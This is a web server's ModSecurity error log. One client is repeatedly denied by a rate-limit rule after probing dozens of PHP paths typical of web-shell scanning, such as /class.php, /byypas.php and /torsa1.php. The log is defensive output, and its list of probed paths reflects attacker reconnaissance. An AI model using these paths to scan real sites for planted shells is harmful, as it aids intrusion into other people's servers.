[Tue Mar 24 15:14:30.395316 2026] [:error] [pid 64198:tid 64224] [client 20.251.56.73:14094] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "acI51nVzJqf6OS_oSZ0s2QAAAVg"]
[Tue Mar 24 15:14:31.054131 2026] [:error] [pid 64198:tid 64201] [client 20.251.56.73:14099] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "acI513VzJqf6OS_oSZ0s3wAAAUE"]
[Tue Mar 24 15:14:31.575776 2026] [:error] [pid 3032:tid 3108] [client 20.251.56.73:13904] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acI51ya_-JXXD03-JNwp2QAAAIU"]
[Tue Mar 24 15:14:32.138583 2026] [:error] [pid 64198:tid 64211] [client 20.251.56.73:14373] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acI52HVzJqf6OS_oSZ0s4AAAAUs"]
[Tue Mar 24 15:14:32.658792 2026] [:error] [pid 48214:tid 48264] [client 20.251.56.73:14362] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acI52LeshLWZ3uUDHKk5hQAAAcw"]
[Tue Mar 24 15:14:33.205418 2026] [:error] [pid 3137:tid 3143] [client 20.251.56.73:14366] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acI52ZdZesutm6dfYM_P1QAAAMQ"]
[Tue Mar 24 15:14:33.754482 2026] [:error] [pid 3031:tid 3094] [client 20.251.56.73:14184] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acI52aJBKytnG47nuiYdcAAAAFI"]
[Tue Mar 24 15:14:34.499884 2026] [:error] [pid 64198:tid 64221] [client 20.251.56.73:14458] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acI52nVzJqf6OS_oSZ0s4wAAAVU"]
[Tue Mar 24 15:14:35.020060 2026] [:error] [pid 64198:tid 64208] [client 20.251.56.73:14152] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acI523VzJqf6OS_oSZ0s5wAAAUg"]
[Tue Mar 24 15:14:35.548525 2026] [:error] [pid 48214:tid 48267] [client 20.251.56.73:14374] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acI527eshLWZ3uUDHKk5iAAAAc8"]
[Tue Mar 24 15:14:36.134419 2026] [:error] [pid 38767:tid 38782] [client 20.251.56.73:13947] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acI53PwkUqN4GJAI5oV9QQAAAQw"]
[Tue Mar 24 15:14:36.691617 2026] [:error] [pid 38767:tid 38794] [client 20.251.56.73:14164] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acI53PwkUqN4GJAI5oV9QwAAARg"]
[Tue Mar 24 15:14:37.230568 2026] [:error] [pid 3032:tid 3123] [client 20.251.56.73:14089] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acI53Sa_-JXXD03-JNwp4QAAAJQ"]
[Tue Mar 24 15:14:37.764662 2026] [:error] [pid 48219:tid 48303] [client 20.251.56.73:13836] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "acI53Shf3b4R_lAIyv815wAAAhY"]
[Tue Mar 24 15:14:38.513471 2026] [:error] [pid 38767:tid 38793] [client 20.251.56.73:14111] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "acI53vwkUqN4GJAI5oV9SwAAARc"]
[Tue Mar 24 15:14:39.130345 2026] [:error] [pid 3137:tid 3144] [client 20.251.56.73:14355] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "acI535dZesutm6dfYM_P3QAAAMU"]
[Tue Mar 24 15:14:39.694200 2026] [:error] [pid 3031:tid 3093] [client 20.251.56.73:13611] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "acI536JBKytnG47nuiYdcgAAAFE"]
[Tue Mar 24 15:14:40.260083 2026] [:error] [pid 48128:tid 48158] [client 20.251.56.73:14417] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "acI54MvR4LIMFLbM5VkcAQAAAYc"]
[Tue Mar 24 15:14:40.883079 2026] [:error] [pid 3137:tid 3154] [client 20.251.56.73:14448] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "acI54JdZesutm6dfYM_P3wAAAM8"]
[Tue Mar 24 15:14:41.417130 2026] [:error] [pid 38767:tid 38790] [client 20.251.56.73:14451] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "acI54fwkUqN4GJAI5oV9TQAAARQ"]
[Tue Mar 24 15:14:41.944128 2026] [:error] [pid 38767:tid 38794] [client 20.251.56.73:14170] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "acI54fwkUqN4GJAI5oV9TwAAARg"]
[Tue Mar 24 15:14:42.576669 2026] [:error] [pid 38767:tid 38779] [client 20.251.56.73:14389] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "acI54vwkUqN4GJAI5oV9UgAAAQk"]
[Tue Mar 24 15:14:43.221273 2026] [:error] [pid 48219:tid 48292] [client 20.251.56.73:14131] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1.php"] [unique_id "acI54yhf3b4R_lAIyv818QAAAgs"]
[Tue Mar 24 15:14:43.781851 2026] [:error] [pid 3030:tid 3064] [client 20.251.56.73:14346] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1.php"] [unique_id "acI54wyOuILyynfcqfk8WQAAAA8"]
[Tue Mar 24 15:14:44.555666 2026] [:error] [pid 38767:tid 38781] [client 20.251.56.73:13949] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1.php"] [unique_id "acI55PwkUqN4GJAI5oV9VQAAAQs"]
[Tue Mar 24 15:14:45.091844 2026] [:error] [pid 3137:tid 3161] [client 20.251.56.73:14139] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1.php"] [unique_id "acI55ZdZesutm6dfYM_P4wAAANY"]
[Tue Mar 24 15:14:45.675766 2026] [:error] [pid 38767:tid 38790] [client 20.251.56.73:13371] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acI55fwkUqN4GJAI5oV9VwAAARQ"]
[Tue Mar 24 15:14:46.212807 2026] [:error] [pid 38767:tid 38794] [client 20.251.56.73:14379] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acI55vwkUqN4GJAI5oV9WQAAARg"]
[Tue Mar 24 15:14:46.742008 2026] [:error] [pid 3032:tid 3123] [client 20.251.56.73:14151] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acI55ia_-JXXD03-JNwp6AAAAJQ"]
[Tue Mar 24 15:14:47.263606 2026] [:error] [pid 3031:tid 3086] [client 20.251.56.73:14196] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acI556JBKytnG47nuiYddAAAAEo"]
[Tue Mar 24 15:14:47.932905 2026] [:error] [pid 48128:tid 48154] [client 20.251.56.73:14205] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acI558vR4LIMFLbM5VkcCAAAAYU"]
[Tue Mar 24 15:14:48.484758 2026] [:error] [pid 3032:tid 3103] [client 20.251.56.73:14454] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acI56Ca_-JXXD03-JNwp6QAAAIA"]
[Tue Mar 24 15:14:49.049310 2026] [:error] [pid 3030:tid 3069] [client 20.251.56.73:14163] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acI56QyOuILyynfcqfk8XAAAABQ"]
[Tue Mar 24 15:14:49.577430 2026] [:error] [pid 3137:tid 3141] [client 20.251.56.73:13618] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "acI56ZdZesutm6dfYM_P5wAAAMI"]
[Tue Mar 24 15:14:50.281505 2026] [:error] [pid 3032:tid 3122] [client 20.251.56.73:14368] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acI56ia_-JXXD03-JNwp7AAAAJM"]
[Tue Mar 24 15:14:50.886975 2026] [:error] [pid 38767:tid 38775] [client 20.251.56.73:13834] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acI56vwkUqN4GJAI5oV9YAAAAQU"]
[Tue Mar 24 15:14:51.461344 2026] [:error] [pid 3032:tid 3118] [client 20.251.56.73:14428] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acI56ya_-JXXD03-JNwp8AAAAI8"]
[Tue Mar 24 15:14:52.043915 2026] [:error] [pid 3030:tid 3052] [client 20.251.56.73:14415] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acI57AyOuILyynfcqfk8XgAAAAM"]
[Tue Mar 24 15:14:52.568703 2026] [:error] [pid 3032:tid 3115] [client 20.251.56.73:14364] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acI57Ca_-JXXD03-JNwp8wAAAIw"]
[Tue Mar 24 15:14:53.100472 2026] [:error] [pid 48214:tid 48264] [client 20.251.56.73:14109] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acI57beshLWZ3uUDHKk5kQAAAcw"]
[Tue Mar 24 15:14:53.679882 2026] [:error] [pid 3137:tid 3143] [client 20.251.56.73:13850] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acI57ZdZesutm6dfYM_P6QAAAMQ"]
[Tue Mar 24 15:14:54.203943 2026] [:error] [pid 3031:tid 3079] [client 20.251.56.73:14195] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acI57qJBKytnG47nuiYdeQAAAEM"]
[Tue Mar 24 15:14:54.844119 2026] [:error] [pid 38767:tid 38774] [client 20.251.56.73:13348] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "acI57vwkUqN4GJAI5oV9ZQAAAQQ"]
[Tue Mar 24 15:14:55.369038 2026] [:error] [pid 3137:tid 3149] [client 20.251.56.73:14452] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "acI575dZesutm6dfYM_P7AAAAMo"]
[Tue Mar 24 15:14:55.893812 2026] [:error] [pid 3137:tid 3158] [client 20.251.56.73:14369] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "acI575dZesutm6dfYM_P7QAAANM"]
[Tue Mar 24 15:14:56.490191 2026] [:error] [pid 38767:tid 38779] [client 20.251.56.73:14354] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "acI58PwkUqN4GJAI5oV9ZgAAAQk"]
[Tue Mar 24 15:14:57.015748 2026] [:error] [pid 48128:tid 48173] [client 20.251.56.73:13924] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwq13.php"] [unique_id "acI58cvR4LIMFLbM5VkcDgAAAZQ"]
[Tue Mar 24 15:14:57.590044 2026] [:error] [pid 38767:tid 38793] [client 20.251.56.73:13950] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwq13.php"] [unique_id "acI58fwkUqN4GJAI5oV9aAAAARc"]
[Tue Mar 24 15:14:58.152928 2026] [:error] [pid 38767:tid 38789] [client 20.251.56.73:14392] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwq13.php"] [unique_id "acI58vwkUqN4GJAI5oV9agAAARM"]
[Tue Mar 24 15:14:58.670952 2026] [:error] [pid 38767:tid 38784] [client 20.251.56.73:13950] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwq13.php"] [unique_id "acI58vwkUqN4GJAI5oV9bQAAAQ4"]
[Tue Mar 24 15:14:59.201169 2026] [:error] [pid 38767:tid 38782] [client 20.251.56.73:14190] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acI58_wkUqN4GJAI5oV9cAAAAQw"]
[Tue Mar 24 15:14:59.721546 2026] [:error] [pid 38767:tid 38772] [client 20.251.56.73:14165] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acI58_wkUqN4GJAI5oV9cgAAAQI"]
[Tue Mar 24 15:15:00.267813 2026] [:error] [pid 38767:tid 38788] [client 20.251.56.73:14340] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acI59PwkUqN4GJAI5oV9dAAAARI"]
[Tue Mar 24 15:15:00.962669 2026] [:error] [pid 38767:tid 38791] [client 20.251.56.73:14437] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acI59PwkUqN4GJAI5oV9dQAAARU"]
[Tue Mar 24 15:15:01.501095 2026] [:error] [pid 3137:tid 3151] [client 20.251.56.73:13937] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sc.php"] [unique_id "acI59ZdZesutm6dfYM_P7wAAAMw"]
[Tue Mar 24 15:15:02.040323 2026] [:error] [pid 3137:tid 3162] [client 20.251.56.73:14583] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sc.php"] [unique_id "acI59pdZesutm6dfYM_P8QAAANc"]
